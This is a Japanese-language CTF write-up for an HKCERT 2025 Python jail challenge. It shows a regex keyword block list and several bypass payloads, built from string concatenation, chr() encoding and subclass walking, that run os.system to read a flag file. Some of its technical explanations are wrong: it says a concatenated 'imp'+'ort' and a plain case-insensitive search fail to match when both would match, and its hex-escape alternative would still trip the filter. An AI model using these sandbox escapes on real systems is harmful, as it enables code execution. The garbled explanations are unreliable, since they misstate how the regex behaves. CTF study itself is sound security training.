pyjail wiki

HKCERT CTF 2025 - easyJail

Nov 15, 2025

Challenge

香港CERT主催のCTFでの pyjail。

import re
code = input()
# 危険な文字列をフィルタ
BLOCKED = re.compile(r'(import|eval|exec|open|os|sys|subprocess)', re.I)
if BLOCKED.search(code):
print("Blocked!")
exit()
eval(code, {'__builtins__': __builtins__})

Solution

正規表現バイパス

# 文字列連結でバイパス
getattr(__builtins__, '__imp'+'ort__')('o'+'s').system('cat /flag')

chr() による完全バイパス

# 禁止文字列を一切含まない
getattr(__builtins__,chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95))(chr(111)+chr(115)).system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103))

サブクラスから

# 'os' を含まない方法
[c for c in ().__class__.__base__.__subclasses__() if 'wrap' in str(c)][0].__init__.__globals__['system']('cat /flag')

Technical Details

正規表現の特性

import re
pattern = re.compile(r'(import|os)', re.I)
# マッチする
pattern.search('import os') # Match
pattern.search('IMPORT OS') # Match
# マッチしない
pattern.search('imp'+'ort') # None (コンパイル時に結合されない)
pattern.search(chr(105)+'mport') # None

re.I フラグ

大文字小文字を無視するが、Unicode 正規化は行わない:

re.search(r'import', 'import', re.I) # None

Alternative Solutions

別解1: hex エスケープ

eval('\x5f\x5fimport\x5f\x5f("os").system("cat /flag")')
# ただし 'eval' が禁止されている場合は使えない

別解2: format 文字列

'{0.__class__}'.format(())

Flag

hkcert{...}

References